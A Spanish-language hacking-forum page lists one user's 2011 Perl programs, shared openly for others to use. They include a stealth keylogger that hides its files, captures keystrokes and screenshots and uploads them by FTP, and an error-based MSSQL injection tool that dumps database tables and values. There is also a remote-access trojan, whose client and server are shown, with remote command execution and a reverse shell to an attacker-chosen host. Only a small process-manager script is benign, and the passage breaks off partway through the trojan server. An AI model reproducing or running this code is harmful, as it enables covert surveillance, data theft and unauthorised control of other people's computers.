elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


  Mostrar Mensajes
Páginas: 1 ... 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 [49] 50 51 52 53 54 55
481  Programación / Scripting / Re: [Perl] Keycagator 0.7 en: 9 Octubre 2011, 22:20 pm
ok , me podes recomendar manuales o lo que sea para entender como hacer un codigo en perl realmente identado ?
482  Programación / Scripting / Re: [Perl] Keycagator 0.7 en: 9 Octubre 2011, 22:03 pm
supongo que es cuestion de perspectiva
483  Programación / Scripting / Re: [Perl] Keycagator 0.7 en: 9 Octubre 2011, 18:12 pm
ese es mi estilo , leo.
484  Programación / Scripting / [Perl] Keycagator 0.7 en: 9 Octubre 2011, 17:51 pm
Hola a todos , aca les traigo la nueva version de este keylogger
En esta version ya es aceptable con las siguientes opciones

  • Captura letras reconociendo mayusculas y minusculas
  • Captura ventanas en la que se trabaja
  • Toma fotos del sistema cada 1 minuto
  • Sube logs y fotos tomadas por FTP
  • Oculta rastros
Código
  1. #!usr/bin/perl
  2. #KeyCagator 0.7 (C) Doddy Hackman 2011
  3. #
  4.  
  5. use Win32::API;
  6. use Win32::GuiTest qw(GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
  7. use Win32::Clipboard;
  8. use threads;
  9. use Net::FTP;
  10. use Win32::File;
  11. use Cwd;
  12.  
  13. my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
  14. my $tengo = 0;
  15.  
  16. if ($^O eq 'MSWin32') {
  17. use Win32::Console;
  18. Win32::Console::Free();
  19. }
  20.  
  21. hideit($0,"hide");
  22.  
  23. subirftp("logs.txt","logs.txt");
  24.  
  25. my $comando1 = threads->new(\&capture_windows);
  26. my $comando2 = threads->new(\&capture_keys);
  27. my $comando3 = threads->new(\&capture_screen);
  28.  
  29. $comando1->join();
  30. $comando2->join();
  31. $comando3->join();
  32.  
  33.  
  34. sub capture_windows {
  35.  
  36. while(1) {
  37.  
  38. my $win1 = GetForegroundWindow();        
  39. my $win2 = GetForegroundWindow();
  40.  
  41. if($win1 != $win2){
  42. my $nombre = GetWindowText($win1);
  43. chomp($nombre);
  44. if ($nombre ne "") {
  45. #print "\n\n[".$nombre."]\n\n";
  46. savefile("logs.txt","\n\n[".$nombre."]\n\n");
  47. }
  48. }
  49. }
  50. }
  51.  
  52. sub capture_keys {
  53.  
  54. while(1) {
  55.  
  56. my $test1;
  57. my $test2;
  58.  
  59. for my $num(0x30..0x39) { #Numbers
  60.  
  61. if (dame($num)) {
  62. #print "number : ".chr($num)."\n";
  63. savefile("logs.txt",chr($num));
  64. }
  65. }
  66.  
  67. if (dame(0x14)) {
  68. $test1 = 1;
  69. $tengo++;
  70. }
  71.  
  72. for my $num(0x41..0x5A) { #Words
  73.  
  74. if (dame($num)) {
  75.  
  76. if (dame(0x20)) {
  77. savefile("logs.txt"," ");
  78. }
  79.  
  80. if (dame(0x32)) {
  81. savefile("logs.txt","\n[enter]\n\n");
  82. }
  83.  
  84. unless (verpar($tengo) eq 1) {
  85. #print "MAYUSCULA : ".chr($num)."\n";
  86. savefile("logs.txt",chr($num));
  87. }
  88.  
  89. if (dame(0x10) or dame(0xA0) or dame(0xA1)) {
  90. #print "MAYUSCULA : ".chr($num)."\n";
  91. $test2 = 1;
  92. }
  93.  
  94. unless ($test1 eq 1 or $test2 eq 1) {
  95. if ($num >= 0x41) {
  96. if ($num <= 0x5A) {
  97. if (verpar($tengo) eq 1) {
  98. #print "MINUSCULA : ".chr($num+32)."\n";
  99. savefile("logs.txt",chr($num+32));
  100. }
  101. }
  102. }
  103. }
  104. }
  105. }
  106. }
  107. }
  108.  
  109. sub capture_screen {
  110.  
  111. $numero = 0;
  112.  
  113. while(1) {
  114.  
  115. sleep 60;
  116.  
  117. $numero++;
  118.  
  119. SetForegroundWindow(1);
  120. SendKeys('%{PRTSCR}');
  121.  
  122. my $a = Win32::Clipboard::GetBitmap();
  123.  
  124. open (FOTO,">".$numero.".bmp");
  125. binmode(FOTO);
  126. print FOTO $a;
  127. close FOTO;
  128.  
  129. hideit($numero.".bmp","hide");
  130. subirftp($numero.".bmp",$numero.".bmp");
  131. }
  132. }
  133.  
  134. sub dame {
  135. return($come->Call(@_) & 1);
  136. }
  137.  
  138. sub savefile {
  139.  
  140. open (SAVE,">>".$_[0]);
  141. print SAVE $_[1];
  142. close SAVE;
  143.  
  144. hideit($_[0],"hide");
  145.  
  146. }
  147.  
  148. sub hideit {
  149. if ($_[1] eq "show") {
  150. Win32::File::SetAttributes($_[0],NORMAL);
  151. }
  152. elsif ($_[1] eq "hide") {
  153. Win32::File::SetAttributes($_[0],HIDDEN);
  154. }
  155. else {
  156. print "error\n";
  157. }
  158. }
  159.  
  160. sub subirftp {
  161.  
  162. if ($ser = Net::FTP->new("localhost")) {
  163. if ($ser->login("doddy","123")) {
  164. print "subi".getcwd()."/".$_[0]."\n";
  165. if ($ser->put(getcwd()."/".$_[0],$_[1])) {
  166. return true;
  167. }
  168. }
  169. $ser->close;
  170. }
  171.  
  172.  
  173. }
  174.  
  175. sub verpar{
  176. return ($_[0] % 2 == 0) ? "1" : "2";
  177. }
  178.  
  179.  
  180. #Credits : to explorer for helpme with the function verpar()
  181. #Mail : lepuke[at]hotmail[com]
  182. #Blog : doddy-hackman.blogspot.com
  183. # ¿ The End ?
  184.  
485  Programación / Scripting / [Perl] KeyCagator 0.4 en: 9 Octubre 2011, 17:50 pm
Bueno , este es un keylogger en perl que hice con las siguientes opciones

* Captura teclas reconociendo mayusculas y minusculas
* Muestra ventanas en las que se esta trabajando

Pocas opciones pero mejor la version anterior

Código
  1. #!usr/bin/perl
  2. #KeyCagator 0.4 (C) Doddy Hackman 2010
  3. #
  4.  
  5. use Win32::API;
  6. use Win32::GuiTest qw(GetForegroundWindow GetWindowText);
  7.  
  8. my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
  9. my $tengo = 0;
  10.  
  11. if ($^O eq 'MSWin32') {
  12. use Win32::Console;
  13. Win32::Console::Free();
  14. }
  15.  
  16. while (true) {
  17.  
  18. capture_windows();
  19. capture_keys();
  20.  
  21. }
  22.  
  23. sub capture_windows {
  24.  
  25. my $win1 = GetForegroundWindow();        
  26. my $win2 = GetForegroundWindow();
  27.  
  28. if($win1 != $win2){
  29. my $nombre = GetWindowText($win1);
  30. chomp($nombre);
  31. if ($nombre ne "") {
  32. #print "\n\n[".$nombre."]\n\n";
  33. savefile("logs.txt","\n\n[".$nombre."]\n\n");
  34. }
  35. }
  36.  
  37. }
  38.  
  39. sub capture_keys {
  40.  
  41. my $test1;
  42. my $test2;
  43.  
  44.  
  45. capture_windows();
  46.  
  47. for my $num(0x30..0x39) { #Numbers
  48.  
  49. capture_windows();
  50.  
  51. if (dame($num)) {
  52. #print "number : ".chr($num)."\n";
  53. savefile("logs.txt",chr($num));
  54. }
  55. }
  56.  
  57. if (dame(0x14)) {
  58. $test1 = 1;
  59. $tengo++;
  60. }
  61.  
  62. for my $num(0x41..0x5A) { #Words
  63.  
  64.  
  65. capture_windows();
  66.  
  67. if (dame($num)) {
  68.  
  69.  
  70. if (dame(0x0d)) {
  71. savefile("logs.txt","\n\n[enter]\n\n");
  72. }
  73.  
  74. unless (verpar($tengo) eq 1) {
  75. #print "MAYUSCULA : ".chr($num)."\n";
  76. savefile("logs.txt",chr($num));
  77. }
  78.  
  79. if (dame(0x10) or dame(0xA0) or dame(0xA1)) {
  80. #print "MAYUSCULA : ".chr($num)."\n";
  81. $test2 = 1;
  82. }
  83.  
  84. unless ($test1 eq 1 or $test2 eq 1) {
  85. if ($num >= 0x41) {
  86. if ($num <= 0x5A) {
  87. if (verpar($tengo) eq 1) {
  88. #print "MINUSCULA : ".chr($num+32)."\n";
  89. savefile("logs.txt",chr($num+32));
  90. }
  91. }
  92. }
  93. }
  94. }
  95. }
  96.  
  97. }
  98.  
  99. sub dame {
  100. return($come->Call(@_) & 1);
  101. }
  102.  
  103. sub savefile {
  104. open (SAVE,">>".$_[0]);
  105. print SAVE $_[1];
  106. close SAVE;
  107. }
  108.  
  109. sub verpar{
  110. return ($_[0] % 2 == 0) ? "1" : "2";
  111. }
  112.  
  113.  
  114. #Credits : to explorer for helpme with the function verpar()
  115. #Mail : lepuke[at]hotmail[com]
  116. #Blog : doddy-hackman.blogspot.com
  117. # ¿ The End ?
  118.  
486  Programación / Scripting / [Perl] Manager en: 9 Octubre 2011, 17:50 pm
Bueno , aca les traigo un programa que los ayudara a listar todos los
procesos y cerrar el que quieran
En esta version podran tener una interfaz grafica

Código
  1. #!usr/bin/perl
  2. #Manager (C) Doddy Hackman 2010
  3. #Module neccesary
  4. #ppm install http://trouchelle.com/ppm/Win32-Process-List.ppd
  5.  
  6. use Win32::Process::List;
  7. use Win32::Process;
  8. use Tk;
  9.  
  10. if ($^O eq 'MSWin32') {
  11. use Win32::Console;
  12. Win32::Console::Free();
  13. }
  14.  
  15. $new = MainWindow->new(-background=>"black");
  16. $new->geometry("250x300+20+20");
  17. $new->resizable(0,0);
  18. $new->title("Manager 0.1");
  19. $new->Label(-background=>"black",-foreground=>"green",-font=>"Impact",-text=>"Process")->pack();
  20. my $lists = $new->Listbox(-background=>"black",-foreground=>"green")->place(-y=>"50",-x=>"60");
  21. $new->Button(-background=>"black",-foreground=>"green",-text=>"Close",-activebackground=>"green",-width=>"40",-command=>\&close)->place(-y=>"218");
  22. $new->Button(-background=>"black",-foreground=>"green",-text=>"Refresh",-width=>"40",-activebackground=>"green",-command=>\&refresh)->place(-y=>"240");
  23. $new->Button(-background=>"black",-foreground=>"green",-text=>"About",-width=>"40",-activebackground=>"green",-command=>\&about)->place(-y=>"263");
  24.  
  25. &refresh;
  26.  
  27. MainLoop;
  28.  
  29.  
  30. sub refresh {
  31.  
  32. my @pids;
  33. my @procer;
  34. my $limit;
  35.  
  36. $lists->delete(0.0,"end");
  37.  
  38. my $new = Win32::Process::List->new();  
  39. my %process = $new->GetProcesses();
  40. my $limit = -1;
  41. for my $pid (keys %process) {
  42. $limit++;
  43. push (@procer,$process{$pid});
  44. push (@pids,$pid);
  45. }
  46. print "\n\n[+] ".int(@procer)."\n\n";
  47. for my $n(0..$limit) {
  48. print $procer[$n]."\n";
  49. $lists->insert("end",$procer[$n]);
  50. }
  51.  
  52.  
  53. }
  54.  
  55. sub close {
  56.  
  57. $d = $lists->curselection();
  58.  
  59. for my $id (@$d) {
  60.  
  61. my $proceso = $lists->get($id);
  62.  
  63. my $pida = Win32::Process::List->new();
  64. my @pid = $pida->GetProcessPid($proceso);
  65.  
  66. Win32::Process::KillProcess(@pid[1],$proceso);
  67. &refresh();
  68. }
  69. }
  70.  
  71.  
  72.  
  73. sub about {
  74. $about = MainWindow->new(-background=>"black");
  75. $about->title("About");
  76. $about->geometry("150x100+20+20");
  77. $about->resizable(0,0);
  78. $about->Label(-background=>"black",-foreground=>"green",-font=>"Impact",-text=>"Coded By Doddy H")->pack();
  79. $about->Label(-background=>"black",-foreground=>"green")->pack();
  80. $about->Label(-background=>"black",-foreground=>"green",-font=>"Impact",-text=>"2011")->pack();
  81. }
  82.  
  83.  
  84.  
  85. # ¿ The End ?
  86.  
  87.  
487  Programación / Scripting / [Perl] MSSQL T00l en: 9 Octubre 2011, 17:47 pm
Bueno , aca les traigo una tool en perl para
buscar tablas y columnas con information_schema en MSSQL
Tambien pueden sacar los valores que quieren de las columnas.

Código
  1. #!usr/bin/perl
  2. #MSSQL T00l
  3. #(C) Doddy Hackman 2011
  4.  
  5.  
  6. use LWP::UserAgent;
  7. use HTTP::Request::Common;
  8.  
  9. my $nave = LWP::UserAgent->new();
  10. $nave->timeout(13);
  11. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  12.  
  13. sub head {
  14.  
  15. @@    @@   @@@@  @@@@   @@@    @@     @@@@@@  @@@      @@@    @@  
  16. @@@  @@@  @@  @ @@  @  @@@@@   @@       @@   @@@@@    @@@@@   @@  
  17. @@@  @@@  @@    @@    @@   @@  @@       @@  @@   @@  @@   @@  @@  
  18. @@@@@@@@@@  @@@   @@@  @@   @@  @@       @@  @@   @@  @@   @@  @@  
  19. @@ @@@@ @@    @@    @@ @@ @@@@  @@       @@  @@   @@  @@   @@  @@  
  20. @@  @@  @@ @  @@ @  @@  @@@@@   @@       @@   @@@@@    @@@@@   @@  
  21. @@  @@  @@ @@@@  @@@@    @@@@@  @@@@     @@    @@@      @@@    @@@@
  22.  
  23.  
  24.  
  25. );
  26. }
  27.  
  28. sub copyright {
  29. print "\n\n(C) Doddy Hackman 2011\n\n";
  30. <stdin>;
  31. exit(1);
  32. }
  33.  
  34. repe();
  35.  
  36. sub repe {
  37.  
  38. system("cls");
  39.  
  40.  
  41. head();
  42.  
  43.  
  44. print "\n\n[Page] : ";
  45. chomp(my $page=<stdin>);
  46.  
  47. $code = toma($page);
  48.  
  49. if ($code=~/ODBC SQL Server Driver/ig or $code=~/Microsoft OLE DB Provider/ig) {
  50. print "\n\n[+] The page is vulnerable to MSSQL Injection\n\n";
  51. } else {
  52. print "\n\n[-] Not vulnerable\n\n";
  53. #copyright();
  54. }
  55.  
  56. menu:
  57.  
  58.  
  59. ##################################
  60.  
  61. 1 - Dump tables
  62. 2 - Dump Columns of the a table
  63. 3 - Dump values
  64. 4 - Change target
  65. 5 - Exit
  66.  
  67. ##################################
  68.  
  69.  
  70. );
  71.  
  72. print "[Opcion] : ";
  73. chomp(my $op=<stdin>);
  74.  
  75. if ($op eq 1) {
  76. print "\n\n[*] Dumping tables...\n\n";
  77. mssql_tables($page);
  78. goto menu;
  79. }
  80. elsif ($op eq 2) {
  81. print "\n\n[Table] : ";
  82. chomp (my $tab = <stdin>);
  83. print "\n\n[*] Dumping columns..\n\n";
  84. mssql_columns($page,$tab);
  85. goto menu;
  86. }
  87. elsif($op eq 3) {
  88. print "\n\n[Table] : ";
  89. chomp (my $tab=<stdin>);
  90. print "\n\n[Column] : ";
  91. chomp(my $col=<stdin>);
  92. print "\n\n[*] Dumping values..\n\n";
  93. mssql_data($page,$tab,$col);
  94. goto menu;
  95. }
  96. elsif ($op eq 4) {
  97. repe();
  98. }
  99. elsif ($op eq 5) {
  100. copyright();
  101. }
  102. else {
  103. goto menu;
  104. }
  105.  
  106. #@tables = mssql_tables("http://www.12manage.com/profile.asp?m=drarupbarman'","Users");
  107.  
  108.  
  109. sub mssql_columns {
  110. ($pass1,$pass2) =  bypass("--");
  111. my $sir;
  112. for (1..666) {
  113. $path = $pass1."and".$pass1."1=convert(int,("."select".$pass1."top".$pass1."1".$pass1."column_name".$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name="."'".$_[1]."'".$pass1."and".$pass1."column_name".$pass1."not".$pass1."in".$pass1."(''$sir)))".$pass2;
  114. $code = toma($_[0].$path);
  115. if ($code=~/value '(.*?)' to/ig) {
  116. $sir.= ",'".$1."'";
  117. print "[Column found : $1]\n";
  118. } else {
  119. print "\n\n[+] Finish\n";
  120. last;
  121. }
  122. }
  123. }
  124.  
  125. sub mssql_tables {
  126. ($pass1,$pass2) =  bypass("--");
  127. my $sir;
  128. for (1..666) {
  129. $path = $pass1."and".$pass1."1=convert(int,("."select".$pass1."top".$pass1."1".$pass1."table_name".$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_name".$pass1."not".$pass1."in".$pass1."(''$sir)))".$pass2;
  130. #print "$path\n";
  131. $code = toma($_[0].$path);
  132. if ($code=~/value '(.*?)' to/ig) {
  133. $sir.= ",'".$1."'";
  134. print "[Table found : $1]\n";
  135. } else {
  136. print "\n\n[+] Finish\n";
  137. last;
  138. }
  139. }
  140. }
  141.  
  142. sub mssql_data {
  143. ($pass1,$pass2) =  bypass("--");
  144. my $sir;
  145. for (1..666) {
  146. $path = $pass1."and".$pass1."1=convert(int,("."select".$pass1."top".$pass1."1".$pass1.$_[2].$pass1."from".$pass1.$_[1].$pass1."where".$pass1.$_[2].$pass1."not".$pass1."in".$pass1."(''$sir)))".$pass2;
  147. #print "$path\n";
  148. $code = toma($_[0].$path);
  149. if ($code=~/value '(.*?)' to/ig) {
  150. $sir.= ",'".$1."'";
  151. print "[Data found : $1]\n";
  152. } else {
  153. print "\n\n[+] Finish\n";
  154. last;
  155. }
  156. }
  157. }
  158. }
  159.  
  160. sub bypass {
  161. if ($_[0] eq "/*") { return ("/**/","/*"); }
  162. elsif ($_[0] eq "%20") { return ("%20","%00"); }
  163. else {return ("+","--");}}
  164.  
  165.  
  166. sub toma {
  167. return $nave->request(GET $_[0])->content;
  168. }
  169.  
  170.  
  171. # ¿ The End ?

488  Programación / Scripting / [Perl] Troyano Nefaster en: 9 Octubre 2011, 17:47 pm
Bueno es es mi troyano Nefaster , en esta version le arregle varias cosas que pasare a detallar

  • Mostrar Informacion
  • Navegador de archivos
  • Cambiar directorio de navegacion
  • Crear archivo
  • Borrar archivo
  • Borrar directorio
  • Reproducir musica o videos poniendo la ruta en la opcion
  • Parar reproduccion
  • Abrir lectora de CD
  • Cerrar lectora de CD
  • Puertos abiertos
  • Mensaje
  • Ejecutar comandos
  • Esconder barra de tareas
  • Devolver barra de tareas
  • Esconder iconos del escritorio
  • Devolver iconos del escritorio
  • Administrar procesos con posibilidad de cerrar el que quieran
  • Reverse Shell si es que quieren ejecutar comandos de forma mas comoda


El codigo del cliente es este


Código
  1. #!usr/bin/perl
  2. #Nefester (Cliente) 0.1 By Doddy H
  3.  
  4.  
  5. use IO::Socket;
  6. use Cwd;
  7.  
  8. &menu;
  9.  
  10. sub head {
  11.  
  12. system 'cls';
  13.  
  14.  
  15.  
  16.            E      F                   TT    E        
  17. NNNNNNNEEEEEE FFFFFF   AAA   SSSSSTTTTTTEEEEEE RRRRRR
  18. NN NN  E EE   FFFF   A AA  S  S T TT T  E EE   RRRRR
  19. NNNNN  E EE   FF F   AAAAA S     T TT   E EE   RR  R
  20. NNNNN EEEEE  FFFFF  AAA AA  SSS S  TT  EEEEE  RRRRR  
  21. NNNNN  E EEE  FFF    AAAAA S  SSS  TT   E EEE  RR R  
  22. NN NN  EEEE E FF    AAA AA SS  SS  TT   EEEE E RR  R
  23. NNN NN EEEEEEEFFFF  AAA  AAA  SSS  TTTT EEEEEEE RRR RR
  24.                            SS                 R   R  
  25.  
  26.  
  27.  
  28. );
  29.  
  30. }
  31.  
  32. sub menu {
  33.  
  34. &head;
  35.  
  36. print "[Target] : ";
  37. chomp(my $ip = <STDIN>);
  38.  
  39.  
  40.  
  41. my $socket = new IO::Socket::INET(
  42. PeerAddr => $ip,
  43. PeerPort => 666,
  44. Proto => 'tcp',
  45. Timeout  => 5
  46. );
  47.  
  48. if ($socket) {
  49. $socket->close;
  50. &menuo($ip);
  51. } else {
  52. print "\n\n[-] Target no infectado\n";
  53. <STDIN>;
  54. &menu;
  55. }
  56.  
  57. }
  58.  
  59. sub menuo {
  60.  
  61. &head;
  62.  
  63. print "[$_[0]] : Servidor Activado\n\n";
  64. 1 : Informacion
  65. 2 : Navegador
  66. 3 : Abrir CD
  67. 4 : Cerrar CD
  68. 5 : Puertos abiertos
  69. 6 : Mensaje
  70. 7 : CMD
  71. 8 : Esconder barra de tareas
  72. 9 : Devolver barra de tareas
  73. 10 : Esconder iconos
  74. 11 : Devolver iconos
  75. 12 : Administrar procesos
  76. 13 : Reverse Shell
  77. 14 : Cambiar IP
  78. 15 : Salir
  79.  
  80.  
  81. );
  82. print "[Opcion] : ";
  83. chomp(my $opcion = <STDIN>);
  84.  
  85.  
  86. if ($opcion eq 1) {
  87. print "\n\n[+] Informacion\n\n";
  88. $re = daryrecibir($_[0],"infor");
  89. if ($re=~/:(.*):(.*):(.*):(.*):(.*):/) {
  90. print "[Dominio] : $1\n";
  91. print "[Chip] : $2\n";
  92. print "[Version] : $3\n";
  93. print "[Nombre] : $4\n";
  94. print "[OS] : $5\n";
  95. <stdin>;
  96. }
  97. &menuo($_[0]);
  98. }
  99. elsif ($opcion eq 2) {
  100.  
  101. menu1:
  102. print "\n\n[+] Navegacion de archivos\n\n";
  103. $cwd = daryrecibir($_[0],"getcwd"."\r\n");
  104. print "tengo $cwd\n";
  105. show($_[0],"/");
  106. &menu2;
  107.  
  108. sub menu2 {
  109. print "\n\n[Opciones]\n\n";
  110. print "1 - Cambiar directorio\n";
  111. print "2 - Crear archivo\n";
  112. print "3 - Borrar archivo\n";
  113. print "4 - Borrar directorio\n";
  114. print "5 - Reproducir musica\n";
  115. print "6 - Parar reproduccion\n";
  116. print "7 - Volver al menu inicial\n\n";
  117. print "[Opcion] : ";
  118. chomp(my $op = <stdin>);
  119.  
  120. if ($op eq 1) {
  121. print "\n\n[+] Directorio : ";
  122. chomp (my $dir=<stdin>);
  123. $ver = daryrecibir($_[0],"chdirnow K0BRA".$dir."K0BRA");
  124. if ($ver=~/ok/ig) {
  125. print "\n\n[+] Directory changed\n\n";
  126. }
  127. show($_[0],$dir);
  128. &menu2;
  129. <stdin>;
  130. }
  131.  
  132. elsif ($op eq 2) {
  133.  
  134. print "\n\n[Nombre] : ";
  135. chomp(my $name = <stdin>);
  136. print "\n\n[Contenido] : ";
  137. chomp(my $code = <stdin>);
  138.  
  139. daryrecibir($_[0],"crearnow K0BRA".$name."K0BRA ACATOY".$code."ACATOY");
  140.  
  141. print "\n\n[+] Archivo creado \n\n";
  142. <stdin>;
  143. }
  144. elsif ($op eq 3) {
  145. print "\n\n[Archivo a borrar] : ";
  146. chomp(my $file = <stdin>);
  147. $re = daryrecibir($_[0],"borrarfile K0BRA".$file."K0BRA");
  148. if ($re=~/ok/) {
  149. print "\n\n[+] Archivo Borrado\n\n";
  150. } else {
  151. print "\n\n[-] Error\n\n";
  152. }
  153. <stdin>;
  154. }
  155.  
  156. elsif ($op eq 4) {
  157. print "\n\n[Directorio a borrar] : ";
  158. chomp(my $file = <stdin>);
  159. $re = daryrecibir($_[0],"borrardir K0BRA".$file."K0BRA");
  160. if ($re=~/ok/) {
  161. print "\n\n[+] Directorio Borrado\n\n";
  162. } else {
  163. print "\n\n[-] Error\n\n";
  164. }
  165. <stdin>;
  166. }
  167.  
  168. elsif ($op eq 5) {
  169. print "\n\n[Archivo] : ";
  170. chomp(my $file = <stdin>);
  171. print "\n\n[+] Reproduciendo\n\n";
  172. daryrecibir($_[0],"playmusic K0BRA".$file."K0BRA");
  173. <stdin>;
  174. }
  175. elsif ($op eq 6) {
  176. print "\n\n[+] Reproduccion detenida\n\n";
  177. daryrecibir($_[0],"pararmusic");
  178. <stdin>;
  179. }
  180. elsif ($op eq 7) {
  181. &menuo($_[0]);
  182. }
  183. else {
  184. show($_[0],"/");
  185. }
  186. goto menu1;
  187. }
  188. }
  189.  
  190. elsif ($opcion eq 3) {
  191. daryrecibir($_[0],"opencd");
  192. &menuo($_[0]);
  193. }
  194.  
  195. elsif ($opcion eq 4) {
  196. daryrecibir($_[0],"closedcd");
  197. &menuo($_[0]);
  198. }
  199.  
  200. elsif ($opcion eq 5) {
  201. print "\n[Puertos Abiertos]\n\n";
  202. $re = daryrecibir($_[0],"porters");
  203. while ($re=~/:(.*?):/ig) {
  204. if ($1 ne "") {
  205. print "[+] $1\n";
  206. }
  207. }
  208. <stdin>;
  209. &menuo($_[0]);
  210. }
  211. elsif ($opcion eq 6) {
  212. print "\n[Mensaje] : ";
  213. chomp (my $msg = <stdin>);
  214. daryrecibir($_[0],"msgbox $msg");
  215. <stdin>;
  216. &menuo($_[0]);
  217. }
  218. elsif ($opcion eq 7) {
  219.  
  220. menu:
  221.  
  222. my $cmd,$re;
  223.  
  224. print "\n\n>";
  225.  
  226. chomp(my $cmd= <stdin>);
  227.  
  228. if ($cmd=~/exit/ig) {
  229. &menuo($_[0]);
  230. }
  231.  
  232. $re = daryrecibir($_[0],"comando :$cmd:");
  233. print "\n".$re;
  234. goto menu;
  235. &menuo($_[0]);
  236. }
  237. elsif ($opcion eq 8) {
  238. daryrecibir($_[0],"iniciochau");
  239. &menuo($_[0]);
  240. }
  241. elsif ($opcion eq 9) {
  242. daryrecibir($_[0],"iniciovuelve");
  243. &menuo($_[0]);
  244. }
  245. elsif ($opcion eq 10) {
  246. daryrecibir($_[0],"iconochau");
  247. &menuo($_[0]);
  248. }
  249. elsif ($opcion eq 11) {
  250. daryrecibir($_[0],"iconovuelve");
  251. &menuo($_[0]);
  252. }
  253.  
  254. elsif ($opcion eq 12) {
  255.  
  256. &reload($_[0]);
  257.  
  258. sub reload {
  259.  
  260. my @pro;
  261. my @pids;
  262.  
  263. my $sockex = new IO::Socket::INET(
  264. PeerAddr => $_[0],
  265. PeerPort => 666,
  266. Proto => 'tcp',
  267. Timeout  => 5
  268. );
  269.  
  270. print $sockex "mostrarpro"."\r\n";
  271. $sockex->read($re,5000);
  272. $sockex->close;
  273.  
  274. chomp $re;
  275.  
  276. print "\n\n[+] Procesos encontrados\n\n";
  277.  
  278. while ($re=~/PROXEC(.*?)PROXEC/ig) {
  279. if ($1 ne "") {
  280. push(@pro,$1);
  281. }
  282. }
  283.  
  284. while ($re=~/PIDX(.*?)PIDX/ig) {
  285. if ($1 ne "") {
  286. push(@pids,$1);
  287. }
  288. }
  289.  
  290. $cantidad = int(@pro);
  291.  
  292. for my $num(1..$cantidad) {
  293. if ($pro[$num] ne "") {
  294. print "\n[+] Proceso : ".$pro[$num]."\n";
  295. print "[+] PIDS : ".$pids[$num]."\n";
  296. }
  297. }
  298.  
  299.  
  300. [Opciones]
  301.  
  302.  
  303. 1 - Refrescar lista
  304. 2 - Cerrar procesos
  305. 3 - Volver al menu
  306.  
  307. );
  308.  
  309. print "\n[Opcion] :  ";
  310. chomp(my $opc = <stdin>);
  311.  
  312. if ($opc=~/1/ig) {
  313. &reload($_[0]);
  314. }
  315. elsif($opc=~/2/ig) {
  316. print "\n[+] Write the name of the process : ";
  317. chomp(my $numb = <stdin>);
  318. print "\n[+] Write the PID of the process : ";
  319. chomp(my $pid = <stdin>);
  320. $re = daryrecibir($_[0],"chauproce K0BRA".$pid."K0BRA".$numb."K0BRA");
  321. if ($re=~/ok/ig) {
  322. print "\n\n[+] Proceso cerrado\n\n";
  323. } else {
  324. print "\n\n[-] Error\n\n";
  325. }
  326. <stdin>;
  327. &reload($_[0]);
  328. }
  329. elsif($opc=~/3/ig) {
  330. &menuo($_[0]);
  331. }
  332. else {
  333. &reload;
  334. }
  335. }
  336. }
  337.  
  338. elsif ($opcion eq 13) {
  339. print "\n\n[IP] : ";
  340. chomp(my $ip = <stdin>);
  341. print "\n\n[Port] : ";
  342. chomp(my $port = <stdin>);
  343. print "\n\n[+] Connected !!!\n\n";
  344. $re = daryrecibir($_[0],"backshell :$ip:$port:");
  345. }
  346. elsif ($opcion eq 14) {
  347. &menu;
  348. }
  349. elsif ($opcion eq 15) {
  350. exit 1;
  351. }
  352. else {
  353. &menuo;
  354. }
  355. }
  356.  
  357. sub daryrecibir {
  358.  
  359. my $sockex = new IO::Socket::INET(
  360. PeerAddr => $_[0],
  361. PeerPort => 666,
  362. Proto => 'tcp',
  363. Timeout  => 5
  364. );
  365.  
  366. print $sockex $_[1]."\r\n";
  367. $sockex->read($re,5000);
  368. $sockex->close;
  369. return $re."\r";
  370. }
  371.  
  372. sub show {
  373.  
  374. my $re = daryrecibir($_[0],"getcwd"."\r\n");
  375. print "\n\n[+] Directorio Actual : $re\n\n";
  376. $re1 = daryrecibir($_[0],"dirnow ACATOY".$re."ACATOY"."\r\n");
  377. print "\n\n[Directorios]\n\n";
  378.  
  379. while ($re1=~/DIREX(.*?)DIREX/ig) {
  380. if ($1 ne "") {
  381. print "[+] $1\n";
  382. }
  383. }
  384.  
  385. print "\n\n[Archivos]\n\n";
  386.  
  387. while ($re1=~/FILEX(.*?)FILEX/ig) {
  388. if ($1 ne "") {
  389. print "[+] $1\n";
  390. }
  391. }
  392.  
  393. }
  394.  
  395. #
  396. # ¿ The End ?
  397. #
  398.  

Y el server

Código
  1. #!/usr/bin/perl
  2. #Nefester (sERVidor) 0.1 By Doddy H
  3. #Compilar con perl2exe para sacar consola
  4.  
  5. use IO::Socket;
  6. use Socket;
  7. use Win32;
  8. use Cwd;
  9. use Win32::MediaPlayer;
  10. use Win32::Process::List;
  11. use Win32::Process;
  12. use Win32::API;
  13.  
  14. use constant SW_HIDE => 0;
  15. use constant SW_SHOWNORMAL => 1;
  16.  
  17. my $a = new Win32::API('user32', 'FindWindow', 'PP', 'N');
  18. my $b = new Win32::API('user32', 'ShowWindow', 'NN', 'N');
  19.  
  20. $test = new Win32::MediaPlayer;
  21.  
  22. my $sock = IO::Socket::INET->new(LocalPort => 666,
  23. Listen => 10,
  24. Proto => 'tcp',
  25. Reuse => 1);
  26.  
  27. print "online\n";
  28.  
  29. while (my $con = $sock->accept){
  30. $resultado = <$con>;
  31. print "boludo mando : $resultado\n";
  32.  
  33. if ($resultado=~/msgbox (.*)/ig) {
  34. Win32::MsgBox($1,0,"Mensaje de Dios")
  35. }
  36.  
  37. if ($resultado=~/backshell :(.*):(.*):/ig) {
  38.  
  39. my ($ip,$port) = ($1,$2);
  40.  
  41. print "conectando $ip con $port\n";
  42.  
  43. $ip =~s/(\s)+$//;
  44. $port =~s/(\s)+$//;
  45.  
  46. conectar($ip,$port);
  47. tipo();
  48.  
  49. sub conectar {
  50. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  51. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  52. open (STDIN,">&REVERSE");
  53. open (STDOUT,">&REVERSE");
